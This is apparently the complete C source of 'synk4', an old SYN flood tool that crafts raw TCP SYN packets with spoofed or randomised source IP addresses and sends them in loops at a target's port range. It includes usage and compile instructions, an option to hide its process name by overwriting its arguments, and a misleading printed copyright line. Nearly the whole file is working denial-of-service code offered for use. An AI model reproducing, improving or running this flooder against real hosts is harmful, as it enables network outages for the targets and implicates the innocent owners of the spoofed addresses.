/* Syn Flooder by Zakath
 * TCP Functions by trurl_ (thanks man).
 * Some more code by Zakath.
 * Speed/Misc Tweaks/Enhancments -- ultima
 * Nice Interface -- ultima
 * Random IP Spoofing Mode -- ultima
 * How To Use:
 * Usage is simple. srcaddr is the IP the packets will be spoofed from.
 * dstaddr is the target machine you are sending the packets to.
 * low and high ports are the ports you want to send the packets to.
 * Random IP Spoofing Mode: Instead of typing in a source address, 
 * just use '0'. This will engage the Random IP Spoofing mode, and
 * the source address will be a random IP instead of a fixed ip.
 * Released: [4.29.97]
 *  To compile: cc -o synk4 synk4.c
 * 
 */
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock, curc, cnt;

/* Check Sum */
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
	register int nleft = len;
	register u_short *w = addr;
	register int sum = 0;
	u_short answer = 0;
	
	while (nleft > 1)
	  {
		  sum += *w++;
		  nleft -= 2;
	  }
	if (nleft == 1)
	  {
		  *(u_char *) (&answer) = *(u_char *) w;
		  sum += answer;
	  }
	sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
	sum += (sum >> 16);           /* add carry */
	answer = ~sum;                /* truncate to 16 bits */
	return (answer);
}
void sig_exit(int crap)
{
#ifndef HEALTHY
	printf("[H[JSignal Caught. Exiting Cleanly.\n");
	exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
	printf("[H[JSegmentation Violation Caught. Exiting Cleanly.\n");
	exit(crap);
#endif
}

unsigned long getaddr(char *name, unsigned long *mask) {
	struct hostent *hep;
	char *slash;
	
	slash = strchr(name, '/');
	if (slash)
	    *slash++ = 0;

	hep=gethostbyname(name);
	if(!hep) {
		fprintf(stderr, "Unknown host %s\n", name);
		exit(1);
	}

	if (mask) {
	    if (slash)
		*mask = inet_addr(slash);
	    else
		*mask = 0xffffffff;
	}

	return *(unsigned long *)hep->h_addr;
}

/* make a random addr, up to 64 bits long (len bytes) */
void rand_addr(void *to, int len) {
    unsigned long addr[2];
    addr[0] = random(); addr[1] = random();
    memcpy(to, addr, len);
}


void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
	char buf[65536];
	struct {  /* rfc 793 tcp pseudo-header */
		unsigned long saddr, daddr;
		char mbz;
		char ptcl;
		unsigned short tcpl;
	} ph;
	
	struct sockaddr_in sin;	/* how necessary is this, given that the destination
				 address is already in the ip header? */
	
	ph.saddr=ih->saddr;
	ph.daddr=ih->daddr;
	ph.mbz=0;
	ph.ptcl=IPPROTO_TCP;
	ph.tcpl=htons(sizeof(*th)+dlen);
	
	memcpy(buf, &ph, sizeof(ph));
	memcpy(buf+sizeof(ph), th, sizeof(*th));
	memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
	memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
	th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
	
	memcpy(buf, ih, 4*ih->ihl);
	memcpy(buf+4*ih->ihl, th, sizeof(*th));
	memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
	memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
	
	ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
	memcpy(buf, ih, 4*ih->ihl);
	
	sin.sin_family=AF_INET;
	sin.sin_port=th->dest;
	sin.sin_addr.s_addr=ih->daddr;
	
	if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
		printf("Error sending syn packet.\n"); perror("");
		exit(1);
	}
}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
	int i, s;
	struct iphdr ih;
	struct tcphdr th;
	struct sockaddr_in sin;
	int sinsize;
	struct timeval tv;
	char optdata[256];
	int optlen;
	int datalen;

	/* MSS=536 */
	optlen = 4;
	memcpy(optdata, "\x02\x04\x02\x18", optlen);
	datalen = 0;

	rand_addr(&send_seq, 4);
	ih.version=4;
	ih.ihl=5;
	ih.tos=0;			/* XXX is this normal? */
	ih.tot_len=sizeof(ih)+sizeof(th);
	ih.id=htons(rand());
	ih.frag_off=0;
	ih.ttl=30;
	ih.protocol=IPPROTO_TCP;
	ih.check=0;
	ih.saddr=my_ip;
	ih.daddr=their_ip;
	
	th.source=htons(srcport);
	th.dest=htons(port);
	th.seq=htonl(send_seq);
	th.doff=(sizeof(th) + optlen+3)/4;
	th.ack_seq=0;
	th.res1=0;
	th.fin=0;
	th.syn=1;
	th.rst=0;
	th.psh=0;
	th.ack=0;
	th.urg=0;
	th.ece=0;
	th.cwr=0;
	th.window=htons(65535);
	th.check=0;
	th.urg_ptr=0;
	
	gettimeofday(&tv, 0);
	send_tcp_segment(&ih, &th, optdata, optlen + datalen); 
}


void upsc()
{
	int i;
	char schar;
	switch(cnt)
	  {
	  case 0:
		    {
			    schar = '|';
			    break;
		    }
	  case 1:
		    {
			    schar = '/';
			    break;
		    }
	  case 2:
		    {
			    schar = '-';
			    break;
		    }
	  case 3:
		    {
			    schar = '\\';
			    break;
		    }
	  case 4:
		    {
			    schar = '|';
			    cnt = 0;
			    break;
		    }
	  }
	printf("[H[1;30m[[1;31m%c[1;30m][0m %d", schar, curc);
	cnt++;
	for(i=0; i<26; i++)  {
		i++;
		curc++;
	}
}
void init_signals()
{
	// Every Signal known to man. If one gives you an error, comment it out!
	signal(SIGHUP, sig_exit);
	signal(SIGINT, sig_exit);
	signal(SIGQUIT, sig_exit);
	signal(SIGILL, sig_exit);
	signal(SIGTRAP, sig_exit);
	signal(SIGIOT, sig_exit);
	signal(SIGBUS, sig_exit);
	signal(SIGFPE, sig_exit);
	signal(SIGKILL, sig_exit);
	signal(SIGUSR1, sig_exit);
	signal(SIGSEGV, sig_segv);
	signal(SIGUSR2, sig_exit);
	signal(SIGPIPE, sig_exit);
	signal(SIGALRM, sig_exit);
	signal(SIGTERM, sig_exit);
	signal(SIGCHLD, sig_exit);
	signal(SIGCONT, sig_exit);
	signal(SIGSTOP, sig_exit);
	signal(SIGTSTP, sig_exit);
	signal(SIGTTIN, sig_exit);
	signal(SIGTTOU, sig_exit);
	signal(SIGURG, sig_exit);
	signal(SIGXCPU, sig_exit);
	signal(SIGXFSZ, sig_exit);
	signal(SIGVTALRM, sig_exit);
	signal(SIGPROF, sig_exit);
	signal(SIGWINCH, sig_exit);
	signal(SIGIO, sig_exit);
	signal(SIGPWR, sig_exit);
}

void main(int argc, char **argv) {
    int i, max, diff, cntmax, pause, upause;
    unsigned long them, me_fake;
    unsigned long them_mask, me_mask;
    unsigned long volatile slow;
    unsigned lowport, highport, dstport;
    char *junk, *p;

   init_signals();   
#ifdef HIDDEN
   for (i = argc-1; i >= 0; i--)
     /* Some people like bzero...i prefer memset :) */
     memset(argv[i], 0, strlen(argv[i]));
   strcpy(argv[0], HIDDEN);
#endif
   
   if(argc<5) {
      printf("Usage: %s srcaddr[/mask] srcp_low srcp_high dstaddr[/mask] dstp [loops [pause[u]]]\n", argv[0]);
      printf("    If <dstmask< is used, random addresses will be used. <srcaddr> is\n"
	     "    incremented and wrapped within the mask <loops> times.\n"
	     "    <pause> = nb of CPU cycles to burn, or microseconds if followed by 'u' \n\n");
      exit(1);
   }
   me_fake = getaddr(argv[1], &me_mask);   /* use me_fake as the starting point. me_fake &= me_mask; */
   them    = getaddr(argv[4], &them_mask); them    &= them_mask;

   //printf("me_mask=%08x, me_fake=%08x, them=%08x, them_mask=%08x\n", me_fake, me_mask, them, them_mask);
   lowport=atoi(argv[2]);
   highport=atoi(argv[3]);
   dstport=atoi(argv[5]);
   cntmax=0; pause=0; upause=0;

   if (argc>6)
	cntmax=atoi(argv[6]);

   if (argc>7) {
       if ((p=strchr(argv[7], 'u')) != NULL) {
	   *p = 0;
	   upause = atoi(argv[7]);
       }
       else
	   pause = atoi(argv[7]);
   }

   srandom(time(0)+getpid());
   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if(ssock<0) {
      perror("socket (raw)");
      exit(1);
   }
   sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
   if(sock<0) {
      perror("socket");
      exit(1);
   }
   junk = (char *)malloc(1024);
   max = 1500;
   i = 1;
   diff = (highport - lowport);
   
   srandom((time(0)+getpid()));
   if (diff > -1) {
       unsigned long my_addr = 0, their_addr = 0;
       printf("Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University of California. All Rights Reserved.\n");
       for (i=1;(!cntmax) || (i<=cntmax);i++)  {
	   if (me_mask != 0xFFFFFFFF) {
	       if (ntohl(my_addr) < ntohl(me_fake) ||
		   ntohl(my_addr) > ntohl(me_fake | ~me_mask))
		   my_addr = me_fake;
	       else
		   my_addr = htonl(ntohl(my_addr)+1);
	   }
	   else
	       my_addr = me_fake;
	       
	   for (srcport=lowport; srcport<=highport; srcport++) {
	       if (them_mask != 0xFFFFFFFF) {
		   rand_addr(&their_addr, 4);
		   their_addr = (their_addr & ~them_mask) | them;
	       }
	       else
		   their_addr = them;
	       //printf("their_ip=%08x\n",their_addr);
	       
	       spoof_open(my_addr, their_addr, dstport);
	       /* A fair delay. Good for a 28.8 connection */ 
	       //usleep(30);

	       if (upause)
		   usleep(upause);
	       for (slow=0; slow<pause;slow++);
	       
	       //if (!(floodloop = (floodloop+1)%(diff+1))) {
	       //upsc(); fflush(stdout);
	       //}
	   }
       }
   } else {
       printf("High port must be greater than Low port.\n");
       exit(1);
   }
}

